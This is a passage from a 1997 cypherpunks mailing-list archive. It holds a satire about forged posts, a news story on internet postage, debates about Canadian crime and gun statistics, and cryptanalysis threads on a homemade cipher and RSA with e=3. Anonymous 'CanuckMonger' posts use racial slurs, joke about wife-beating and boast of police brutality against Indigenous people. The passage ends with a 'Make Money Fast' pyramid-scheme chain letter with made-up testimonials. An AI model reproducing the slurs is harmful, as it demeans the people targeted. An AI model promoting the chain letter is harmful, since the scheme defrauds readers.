the list in my name, and it was exciting. It was like getting robbed
at gunpoint. What a rush!
"When I woke up the next morning, I couldn't face going back to my
normal, moral, ethical, boring life. I sent an anonymous post to the
list--as TruthMonger! It felt good, like being elected to a government
office by lying to people, but I wanted MORE. I began forging posts to
the list using other people's identities. If they complained to the
list, then I killed them, and assumed their list identities. It felt
like driving INSLAW into bankruptcy, stealing their software, and
murdering those who knew too much!
"Now I am Peter Trei, boring cryptographer, by day, but I am any
exciting, unethical asshole I want to be, at night.
"I liked the SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST so
much that I *stole* the conspiracy. "? the Platypus" has nothing
to do with the Plot of the Platypus, I'm just making fun of his
disability, like a real asshole. Toto has nothing to do with it,
either. He's such a loser that everyone on the list can spot his
forgeries. (Well, they "used to could". But now that I can mimic
his style and have hacked his Sympatico account, I can deny all
of this from my real list persona tomorrow, and nobody will be
the wiser.)
"I'm not just a user of the cypherpunks list, I'm an abuser."

Kent Crispin:
"This isn't Peter's conspiracy, its MINE! I mean, get real, I
work in a secret underground lavoratory as a government shill.
"Think about it. Who would you expect to conspire against a
bunch of anarchists...the government! You all know how much I
love the government and authority. I'm Louis Freeh's secret
lover. Janet Reno is going to have my baby.
"It's me! *I* am the one behind the SECRET CONSPIRACY AGAINST
THE CYPHERPUNKS LIST. I'm a STATIST, for God's sake, why won't
you believe me?
"Because I'm not one of the elitist 'chosen?' Fuck you."

Tim May:
"God, I *love* this list."

Robert Hettinga:
"Hey! If you check the archives, you'll find that I said that
in a post, long before anyone else did."

TruthMonger:
"Now Hettinga is stealing Tim May's lines. What the hell is
going on, here? Has *everybody* on this list gone crazy?
"*I* am the one who is *really* behind the SECRET CONSPIRACY
AGAINST THE CYPHERPUNKS LIST. Think about it. Everyone knows
that I'm a 33rd degree Mason. No...that's Tim May.
"Fuck this shit. From now on, I'm posting as Toto."

John Perry:
"This has gone on long enough. I'm killing this thread.
...I mean..."post." ...I mean...
"Shit! I'm not the list moderator, yet. That's *after* we
take over the list."
"Sorry."

------- End Pretty Good Pretending-------

...

~~~~~~~ Begin Note From Igor ~~~~~~~
Do you all remember the Perl script I was working on for mimicking the
posts of other people? Well, this post is the latest product of that
script. What do you think? Is it convincing? Did you really believe
that it was actually written by one or more of the people mentioned
in the post?
I think that I finally have the Perl script to the point where I can
effectively fool most people about the true source and method of a
computer generated post's actual origins.
I was thinking about adding a conspiratorial part about myself. I was
going to intimate that the fact that I was so active on the list during
the censorship crisis, playing the skeptic who was gradually brought
around to the truth of Dale Thorn and Toto's claims, then volunteering
to host the list and quietly disappearing into the background, might
indicate that *I* was really behind the SECRET CONSPIRACY AGAINST THE
CYPHERPUNKS LIST.
In the end, I decided against it, because then the readers would be
left with the notion that perhaps even this explanatory note from me
was bogus, and that there really was an ongoing SECRET CONSPIRACY
AGAINST THE CYPHERPUNKS LIST.

~~~~~~~ End Note From Igor ~~~~~~~

                                 **********
                                 DISCLAIMER
                                 **********

        THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!

There is no conspiracy by a secret government to destroy
the Constitution, enslave the people, and rule the world.

Individual cypherpunks are not being imprisoned and murdered
and replaced with Identity Bots. There is no need to worry.

Declan McCullagh can confirm all of this. You can trust him.
He is your representative in D.C. He did *not* give secret
testimony against Jim Bell in return for a byline in the
"Time" magazine cover story. That is just a rumor. Well, not
yet, maybe, but it will be, very soon.

Remember, this is just a normal mailing list with a few list
members who are a little odd. There are no spooks. There is
no background intrigue. This whole privacy thing has just been
blown a bit out of proportion. It's really not that important.

Waco was just a tragic accident. Ruby Ridge was a simple error
in judgment by a government agent who really feels bad about
following his superiors orders. Heavily armed U.S. Marines are
no match for a goat-herding boy with a .22, and it is only by
the grace of God that they are alive today. Oswald acted alone.

                                lai;ekrjke ^C
        THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!

There is no conspiracy by a secret government to destroy
the Constitution, enslave the people, and rule the world.
dakl;jdafkl;jad;jfa ^C ^C
Oswald acted alone. Bears are Catholic. The Pope shits in
the woods. The government is concerned for your welfair.
*^^^*
ldfafd;ljfd; ^C^X^C

        THERE IS *NO* SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!

da;lkdf ^C
THERE IS *NO* welfair ad;fljadf;
*^^^*
ad;sljf;afj ^C ^C ^C

THERE IS *NO*
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
SECRET CONSPIRACY AGAINST THE CYPHERPUNKS LIST!
----------------------------------------------------------------------------

                        "The Xenix Chainsaw Massacre"

                 "WebWorld & the Mythical Circle of Eunuchs"

           "InfoWar (Part III of 'The True Story of the InterNet')

                Soviet Union Sickle of Eunuchs Secret WebSite
----------------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Burnes <jburnes@diac.com>
Date: Sun, 5 Oct 1997 07:25:53 +0800
To: cypherpunks@toad.com
Subject: Nice quote
Message-ID: <3436CAFB.547F228E@diac.com>
MIME-Version: 1.0
Content-Type: text/plain



Someone might find this quote useful for a signature...

"Anybody thats asking for privacy must be doing something
interesting."
                 Stanford AI Lab (SAIL) Hacker, Don Woods





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Sun, 5 Oct 1997 06:28:58 +0800
To: cypherpunks@ssz.com
Subject: pna.show_story?p_art_id=376182&p_section_name=Sci-Tech
Message-ID: <199710042245.RAA01808@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN Custom News logo
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   [INLINE] October 4, 1997 10:23 pm GMT
   [INLINE]
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   The story below was selected from CNN Custom News - a new personalized
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   FREE. If you're already a user, please login. Custom News 
   
           E-STAMP RECEIVES BIG BACKING FOR NET-BASED POSTAGE SALES
                                       
   InfoWorld
   04-OCT-97
   
   
   Buying stamps for use on "snail mail" soon may be possible over the
   Internet, and one company pioneering the technology to do so has
   caught the attention of both Microsoft and AT&T.
   
   E-Stamp has created a system that will enable users to purchase
   postage over the Internet and then print viable U.S. Postal Service
   stamps onto envelopes.
   
   Recently, both Microsoft and AT&T Ventures announced that they have
   taken an equity stake in E-Stamp. Both companies will receive a 10
   percent stake in the postage sales system's creator, and both will
   hold a seat on its board of directors. Financial details of the
   investment were not disclosed.
   
   "One of the things we're trying to do now is build the industry
   infrastructure by forming strategic partnerships with software,
   hardware, and Internet companies, and we see our relationship with
   Microsoft and AT&T as the first step in this process," said Nicole
   Ward, vice president of marketing for E-Stamp.
   
   The potential for both Microsoft and AT&T to incorporate E-Stamp
   technology into their product lines in the future could be intriguing,
   according to analysts.
   
   "Microsoft could certainly be incorporating the generating technology
   into Office," according to Vernon Keenan, senior analyst for Zona
   Research, in Redwood City, Calif. "I could see clicking a button in
   Word, and when you print out your envelope, you'd get a stamp on it."
   
   "It's certainly conceivable; that's not a scenario that we've
   ignored," said Greg Stanger, director of business development and
   investments for Microsoft, in Redmond, Wash. "The Office team picking
   it up and incorporating it into whatever they're doing is not out of
   the question."
   
   E-Stamp is preparing to beta test the system in San Francisco and
   Washington by the end of the year. Once postage is purchased from the
   U.S. Postal Service over the Internet, the value of the "stamps" will
   be held in an "electronic vault" attached to a PC and printer,
   according to the company.
   
   The Postal Service will monitor the amounts as it currently does with
   postage machines, but Internet postage is a new innovation, according
   to Roy Gordon, program manager of process and product development for
   meter technology management for the U.S. Postal Service, based in
   Washington.
   
   "This is the first new form of postage potentially introduced by the
   postal service in 77 years," Gordon said.
   
   E-Stamp estimates that the complete system will cost less than $300
   per year.
   
   The irony of using the Internet to facilitate the delivery of "snail
   mail" was not lost on analysts.
   
   "It is definitely ironic," said Ray Boggs, director of small-business
   research for IDC/Link, a market research company in New York. "But
   what could be more appropriate than leveraging one technology to
   benefit another?"
   
   E-Stamp Corp., in Palo Alto, Calif., can be reached at (650) 843-8000
   or http://www.estamp.com.
   
   Article Dated 03-OCT-97
   
   COPYRIGHT 1997 InfoWorld Publishing Company
   
   
   
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@privacynb.ml.org>
Date: Sun, 5 Oct 1997 06:37:17 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Regulate them to 'double-death'...
Message-ID: <199710042136.SAA27932@privacynb.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 4 Oct 1997, Anonymous wrote:
> Cynthia Brown wrote:
> > Canada may be regulated to death according to most libertarians, but I for
> > one like it that way.  I can walk alone and unarmed at night in Ottawa,
> > Toronto, etc. without fearing for my life.  Can a female resident of
> > Washington or New York say the same?  Our schools do not have metal detectors
> > at the entrances because they are not needed.
> 
> No, instead, Canadian students terrorize each other with old-fashioned
> forms of violence, like at Cole Harbor high school in Newfie'land, where
> they use baseball bats to keep the niggers in line, and in Montreal,
> where four teenagers have been driven to suicide in the last few weeks
> by the 'taxing' they have endured from the youth gangs that roam the
> subways.
> Perhaps Canada needs 'more' regulation...
>  
> CanuckMonger

Correction: Cole Harbor High School is in Nova Scotia. 

Canada ia not perfect, no country is, but men and women typically feel
safe enought to walk the streets alone at night.

Racial hatred is not accepted in the communities at large, nor is
wife-beating. I never encountered youth gangs on the subways of
Montreal this summer.

The fact that you list all the newsworthy examples of teen violence speaks
volumes onto itself. 

The typically Canadian gun owner uses it for one of two purposes; the
most common usage is 1) sport hunting 2) target shooting - I have used a
gun many times, never towards a living being.

-Cyphercanuck





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 5 Oct 1997 01:03:46 +0800
To: cypherpunks@toad.com
Subject: Regulate them to 'double-death'...
Message-ID: <199710041647.SAA29174@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Cynthia Brown wrote:
> Canada may be regulated to death according to most libertarians, but I for
> one like it that way.  I can walk alone and unarmed at night in Ottawa,
> Toronto, etc. without fearing for my life.  Can a female resident of
> Washington or New York say the same?  Our schools do not have metal detectors
> at the entrances because they are not needed.

No, instead, Canadian students terrorize each other with old-fashioned
forms of violence, like at Cole Harbor high school in Newfie'land, where
they use baseball bats to keep the niggers in line, and in Montreal,
where four teenagers have been driven to suicide in the last few weeks
by the 'taxing' they have endured from the youth gangs that roam the
subways.
Perhaps Canada needs 'more' regulation...
 
CanuckMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 5 Oct 1997 10:21:56 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <1.5.4.32.19971004170309.006e6f6c@pop.pipeline.com>
Message-ID: <4iw3De14w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



John Young <jya@pipeline.com> writes:

> Dimitri Vulis reposted parts of the Stronghold/censorship
> drama:
>
> Dimitri:
>
> This replay continues your artful distortion of the exchanges,
> presumbly to make your best case, yet it still fails to explain
> your original beef with Stronghold.

Correct.  I even deleted one paragraph from the C2Net lawyer letter
which dealt with the nature of my claims.

> Perhaps this is unfair, but it now appears that you are using
> the disputed censorship issue to cloud your reluctance, or
> inability, to substantiate a fault in Stronghold.
>
> Send me the Stronghold fault, I'll be happy to add it to the
> other crypto-security stuff that wasn't supposed to be published.
>
> This is not meant to defuse the censorship matter, that's still
> live ammo.

Sorry, no, as this would likely cause C2Net to sue me, as they've threatened.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 5 Oct 1997 10:32:20 +0800
To: cypherpunks@toad.com
Subject: Re: Nice quote
In-Reply-To: <3436CAFB.547F228E@diac.com>
Message-ID: <0uw3De16w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Jim Burnes <jburnes@diac.com> writes:

> Someone might find this quote useful for a signature...
>
> "Anybody thats asking for privacy must be doing something
> interesting."
>                  Stanford AI Lab (SAIL) Hacker, Don Woods

Is that the same Don Woods who wrote the original "Colossal Cave"
adventure game?  I was studying English by playing it, many years ago.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Phillip Hallam-Baker <hallam@ai.mit.edu>
Date: Sun, 5 Oct 1997 12:21:29 +0800
To: "'Attila T. Hun'" <cypherpunks@cyberpass.net>
Subject: RE: counter-intuitive -- spam is good for you.  anonymous assholes are your friend
Message-ID: <01BCD123.C0136B90.hallam@ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain





On Friday, October 03, 1997 4:02 AM, Attila T. Hun [SMTP:attila@hun.org] wrote:
>     law enforcement did not deterred the hacks on the state department,
>     the FBI, and even the CIA.  I dont advocate the hacks, but it is     
>     amusing to watch the great watchdogs of security take a hit.

Since I have no responsibility for either site I don't much care
Actually neither has responsibility as a security watchdog,
that is the NSA's job.

>     with your spoiled brat rantings, you make your site as tempting as 
>     some of the other nose tweakers who need a serious attitude adjustment

Actually I think you are the spoiled brat. If you had any real 
experience of computer security you would know who I am 
and who I work with.

One of the principles of propaganda is reflection - poor 
propagandists accuse others of their own faults. My guess
is that Attila is a sixteen year old schoolkid who thinks that
downloading PGP and reading Bruce's book makes him a 
security expert.

The real complacent folk are the ones that put their trust in 
cargo cult readings of Bill Morris.


		Phill





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Sun, 5 Oct 1997 07:01:35 +0800
To: cypherpunks@ssz.com
Subject: Re: Quor's cipher
Message-ID: <199710042151.WAA03454@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



ghio@temp0126.myriad.ml.org (Matt Ghio) writes:

> What about this:

> If (a+b)^(a0+b0) == 0, then the plaintext is the same as the ciphertext.
> This happens for one out of every 256 bytes.  Ordinarilly this isn't a
> problem, but if the key is reused, and there is no IV, it can leak a byte
> of plaintext.

> So it seems that you would need to change the key for each message, or at
> least use a random initialization vector.

How are you planning to detect which bytes are passed in this way ?
Chosen plaintext attacks would do it, and show where (a+b)^(a0+b0) == 0.
Looks like you've just doubled our progress.

If the key is reused with a different message I don't think there's a
weakness.  An IV is a good idea, but aren't we _attacking_ this thing ?

I've grabbed a few search-engine hits and not read them yet.  I'll be
looking for clues there.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@ne-wendigo.jabberwock.org>
Date: Sun, 5 Oct 1997 11:15:19 +0800
To: cynthb@sonetis.com
Subject: Re: "Show me an example of terrorists using the Internet or cryp
In-Reply-To: <Pine.BSD/.3.91.971002133210.9198B-100000@mrburns.iosphere.net>
Message-ID: <199710050311.XAA08628@deathstar.jabberwock.org>
MIME-Version: 1.0
Content-Type: text



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

An entity claiming to be Cynthia Brown wrote:

: Agreed.  There are also dedicated, hard-working, community-oriented 
: policemen out there. (I'm probably going to get flamed for daring to 
: say that, but tough.)
: 

There are some cops who I have known or had dealings with (even ones
who have given me a citation) who I consider very principled and generally
good people ... they actually "serve and protect".  However, from my
experience with cops in general, even the sight of a cruiser knocks
the adrenalin into gear.  I have seen friends harrassed and even beaten
by cops.  I don't trust a cop to protect my well being any more than I
trust my mechanic to protect my well being.  Big difference is, I can
choose my mechanic.

Doc

- -- 
[] Mark Rogaski                   "That which does not kill me
[] wendigo@pobox.com                 only makes me stranger."

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDcFVcHFI4kt/DQOEQLWVgCgu+2GywrmIPRD5p/URat77xE8zcMAoKtn
jNjs4UG6Et7SrZgMz7YnWgCW
=lU3u
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Sun, 5 Oct 1997 07:29:29 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Peter Landrock's CRYPTO 97 rump session
In-Reply-To: <199709261614.KAA00562@asylum.cs.colorado.edu>
Message-ID: <616iik$rjv$1@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <199709261614.KAA00562@asylum.cs.colorado.edu>,
Chris Hall  <hall@counterpane.com> wrote:
>
>I know that many of you attended this years CRYPTO and probably went to the
>rump session too.  Does anyone remember the details of Peter Landrock's
>presentation?  If I recall correctly, he presented an amusing talk in which
>an attacker tried to blackmail a bank by claiming knowledge of the bank's
>RSA private exponent.  He did this by revealing successive bytes of the
>exponent starting with the most significant.  The ransom doubled with each
>successive byte revealed (and I believe he got up to 52 in his example). 
>The catch was that any person can do this for the first X number of bytes
>of the exponent *without actually knowing d* (where X varies depending at
>least upon n).

IIRC, it only worked for e=3.  In that case, since gcd(e,(p-1)(q-1)) = 1,
we must have that p and q are each 2 mod 3.  Then, since (p-1)(q-1) | de-1,
we have that e d - r (p-1)(q-1) = 1 for some positive integer r.
Taking this mod 3, we see that r is 2 mod 3.  But r = (ed-1)/[(p-1)(q-1)]
< (3(p-1)(q-1)-1)/[(p-1)(q-1)] < 3, so r=2.  Thus d = [2(p-1)(q-1)+1]/3
= 2(n-p-q)/3 + 1.  If p and q are each about half the length of n, then
d agrees with 2(n-1)/3 for about its first half.

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 5 Oct 1997 06:40:12 +0800
To: cypherpunks@toad.com
Subject: Fucking Deadbeats!
Message-ID: <199710042226.AAA08759@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



I saw on the news today that the Canadian Federal Bank (whatever it is
called) decided to raise interests rates recently, because they were
afraid that the economy was becoming "too robust."

Would anyone like to bet that this little tidbit of information is not
likely to help those who Unemployment Insurance Commission workers call
deadbeats because they can't find a job?

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: yt@htp.org
Date: Sun, 5 Oct 1997 08:58:17 +0800
To: yt@htp.org
Subject: Re: cypherpunks-e@htp.org list explodes!
Message-ID: <19971005004130.14498.qmail@htp.org>
MIME-Version: 1.0
Content-Type: text/plain



Hey bill... sorry about the mess.
We were just trying to set up a local japanese dist of cypherpunks.
same content. I've made it one way....

for the local discussion, cypherpunks-j is where it is at, but it in
in Japanese.

Sorry about the trouble.

yt





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sun, 5 Oct 1997 07:49:18 +0800
To: cypherpunks@toad.com
Subject: Re: Regulate them to 'double-death'...
Message-ID: <199710042334.BAA18345@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> On Sat, 4 Oct 1997, Anonymous wrote:
> > No, instead, Canadian students terrorize each other with old-fashioned
> > forms of violence, like at Cole Harbor high school in Newfie'land, where
> > they use baseball bats to keep the niggers in line, and in Montreal,
> > where four teenagers have been driven to suicide in the last few weeks
> > by the 'taxing' they have endured from the youth gangs that roam the
> > subways.
> > Perhaps Canada needs 'more' regulation...

> Canada ia not perfect, no country is, but men and women typically feel
> safe enough to walk the streets alone at night.

  The same is true of most places, even the ones known as being
dangerous enclaves of the 'bad' people.
  The fact is, those who live in any given area generally do not
feel too threatened when going out and about in 'their' part of
town. 

  I spend time in the areas of Regina, Saskatchewan and Oakland,
California, that most of the 'regular' folk avoid. I have seen
people shot and stabbed in both places, but I feel safe enough to
walk those streets alone.
  I have been robbed a couple times in both areas, and have given
up the cash I was holding, even when I was armed much better than
those robbing me. I didn't feel like killing them.

> Racial hatred is not accepted in the communities at large

  Kiss my ass. Racial discrimination is not *recognized* in the 
communities at large.
  I like to use the word 'nigger' as often as possible in Berkeley,
California, (a prison for the politically correct) just because it
pisses all of those oh-so-liberal hypocrites who shit their pants
when a black person moves into *their* neighborhood.
  I like to use the word 'wagon-burner' in Regina when dealing with
social workers who use the politically correct term, Native Canadian
while they discriminate against the 'wagon-burners' in every possible
way.

> nor is wife-beating.

Joke heard in a Canadian Bar at 11:37 pm, Sat. Oct. 3, 1997:
Q: "What do you call a woman with two black eyes?
A: "Nothing. She's been told *twice* already!"

> The fact that you list all the newsworthy examples of teen violence speaks
> volumes onto itself.

  No. The fact that I did not list the 'volumes' of examples of teen
violence in Canada is newsworthy.
 
> The typically Canadian gun owner uses it for one of two purposes; the
> most common usage is 1) sport hunting 2) target shooting - I have used a
> gun many times, never towards a living being.

  Sounds like the typical *American* gun owner.

  Canadians whack out fewer people with weapons than Americans, but 
so do people in prison. Go figure...
  Canada does not have the magnitude of problems that the US has 
because there are only about 20 million people in the whole goddamn
country, and there are not nearly as many hugely populated cities.
  As well, Canadians spend a great amount of their time huddled 
inside their igloos during the year, and are too busy trying to
keep warm to spend much time murdering their fellow citizens.

  Got to run. I'm a cop, and I haven't beaten up my quota of 
wagon-burners for the day.

CanuckMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: phelix@vallnet.com
Date: Sun, 5 Oct 1997 13:25:24 +0800
To: cypherpunks@Algebra.COM
Subject: Re: "Show me an example of terrorists using the Internet or   crypto"
Message-ID: <3438046a.78476133@128.2.84.191>
MIME-Version: 1.0
Content-Type: text/plain



On 4 Oct 1997 21:48:23 -0500, Jonathan Wienke <JonWienk@ix.netcom.com>
wrote:

>After the ordinance was passed, there was one
>violent crime the first year, and three the next.  

There it is.  Absolute Proof!!!!  After everybody finally got those
dreadful guns, there was a 300% increase in the murder rate.  Guns are
evil.  Ban them now!!!

(Just an example of what people do with statistics these days.)

-- Phelix


ps.  Here's the entire paragraph:

Before Kennesaw, Georgia passed its famous (or infamous) ordinance
requiring each household in the city to own a gun and allowing concealed
carry of firearms, it had an average of 25-27 violent crimes (murder, armed
robbery, etc) per year.  After the ordinance was passed, there was one
violent crime the first year, and three the next.  The gun control shills
in the press reported this as a tripling in the violent crime rate.  Since
the state of Florida passed a "shall issue" concealed carry law (if you
apply, pay the fee, pass the safety course, and are not a felon or mentally
incompetent, the state shall issue you a concealed carry permit) it has
experienced significant reductions (10-20%) in the rates of murder, rape,
armed robbery, and other violent crimes.  Even in England and Scotland,
this inverse relationship between private gun ownership and violent crime
can be demonstrated, according to Colin Greenwood, retired chief of the
West Yorkshire Constabulary and criminology researcher since the sixties.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: JN <dollar@hol.fr>
Date: Sun, 5 Oct 1997 10:31:27 +0800
To: <cypherpunks@toad.com>
Subject: $$$ You SHOULD read this TWICE $$$ Make Money
Message-ID: <18161.235708.17860313 cypherpunks@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



IF YOU ALLREADY HAVE THIS PROGRAM, PLEASE SORRY
PRINT THIS PROGRAM

Dear friend,

The following income opportunity is one you may be interested in
taking a look at.  It can be started with VERY MINIMAL outlay and the income
return is TREMENDOUS!

<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
You are about to make at least $50,000 - In less than 90 days
Read the enclosed program...THEN READ IT AGAIN!...
<>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>

The enclosed information is something I almost let slip through my
fingers.  Fortunately, sometime later I re-read everything and gave
some thought and study to it.

My name is Christopher Erickson.  Two years ago, the corporation I
worked at for the past twelve years down-sized and my position was
eliminated.  After unproductive job interviews,  I decided to open my
own business.  Over the past year, I incurred many unforeseen
financial problems.  I owed my family, friends, and creditors over $35,000. 
The economy was taking a toll on my business and I just couldn't seem to
make ends meet.  I had to refinance and borrow against my home to
support my family and struggling business.  I truly believe it was
wrong for me to be in debt like this.  AT THAT MOMENT something
significant happened in my life and I am writing to share my
experience in hopes that this will change your life FOREVER....FINANCIALLY!!!

In mid-December, I received this program via email.  Six months prior
to receiving this program I had been sending away for information on
various business opportunities.  All of the programs I received, in
my opinion, were not cost effective.  They were either too difficult for
me to comprehend or the initial investment was too much for me to
risk to see if they worked or not.  One claimed I'd make a million dollars
in one year...it didn't tell me I'd have to write a book to make it.

But like I was saying, in December of '95 I received this program.  I
didn't send for it, or ask for it, they just got my name off a
mailing list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
make sure I was reading it correctly, I couldn't believe my eyes. 
Here was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
start, without putting me further in debt.  After I got a pencil and
paper and figured it out, I would at least get my money back.  After
determining that the program is LEGAL and NOT A CHAIN LETTER, I
decided "WHY NOT".

Initially I sent out 10,000 emails.  It only cost me about $15.00 for
my time on-line.  The great thing about email is that I didn't need
any money for printing to send out the program, only the cost to fulfill
my orders.  I am telling you like it is, I hope it doesn't turn you off,
but I promised myself that I would not "rip-off" anyone, no matter
how much money it cost me!

A good program to help do this is Ready Aim Fire,
an email extracting and mass mail program
@ http://microsyssolutions.com/raf/

In less than one week, I was starting to receive orders for REPORT
#1. By January 13th, I had received 26 orders for REPORT #1.  When you
read the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15
TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T, 
SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making
$50,000 in 20 to 90 days was done.  By January 30th, I had received
196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU
MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN
TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO. 
ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
96 more than I needed.  So I sat back and relaxed.  By March 19th, of
my emailing of 10,000, I received $58,000 with more coming in every
day.

I paid off  ALL my debts and bought a much needed new car.  Please
take time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
Remember,  it wont work  if you don't try it.  This program does
work, but you must follow it EXACTLY!  Especially the rules of not trying
to place your name in a different place.  It doesn't work, you'll lose
out on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders
for REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
LIVING PROOF THAT IT WORKS !!!

If you choose not to participate in this program, I'm sorry.  It
really is a great opportunity with little cost or risk to you.  If you
choose to participate, follow the program and you will be on your way to
financial security.

If you are a fellow business owner and you are in financial trouble
like I was, or you want to start your own business, consider this a
sign.  I DID!

                                        Sincerely,
                                        Christopher Erickson

PS  Do you have any idea what 11,700 $5 bills ($58,000) look like
piled up on a kitchen table? IT'S AWESOME!

"THREW IT AWAY"

"I  had  received  this program before.  I  threw  it away, but later
wondered if I shouldn't have given it a try.  Of course, I had no
idea who to contact to get a copy, so I had to wait until I was emailed
another copy of the program.  Eleven months passed, then it came.  I
DIDN'T throw this one away.  I made $41,000 on the first try."

                                        John Net, Paris, France

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over
the enclosed program and reports, you should have concluded that such a
program,  and  one that is legal,  could not have been created by an
amateur. Let me tell you a little about myself.  I had a profitable business
for ten years.  Then in 1979 my business began falling off.  I was doing
the same things that were previously successful for me, but it wasn't
working.  Finally, I figured it out.  It wasn't me, it was the
economy. Inflation and recession had replaced the stable economy that had been
with us since 1945.  I don't have to tell you what happened to the
unemployment rate...because many of you know from first hand
experience. There were more failures and bankruptcies than ever before.

The middle class was vanishing.  Those who knew what they were doing
invested wisely and moved up.  Those who did not, including those who
never had anything to save or invest, were moving down into the ranks
of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR
GET POORER."  The traditional methods of making money will never allow
you to "move up" or "get rich", inflation will see to that.

You have just received information that can give you financial
freedom for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF
EFFORT."  You can make more money in the next few months than you
have ever imagined.

I should also point out that I will not see a penny of your money,
nor anyone else who has provided a testimonial for this program.  I have
already made over FOUR MILLION DOLLARS!  I have retired from the
program after sending out over 16,000 programs.  Now I have several
offices which market this and several other programs here in the US
and overseas.  By the Spring, we wish to market the 'Internet' by a
partnership with AMERICA ON LINE.

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any
way. It works exceedingly well as it is now.  Remember to email a copy of
this exciting program to everyone that you can think of.  One of the
people you send this to may send out 50,000...and your name will be
on every one of them!.  Remember though, the more you send out, the more
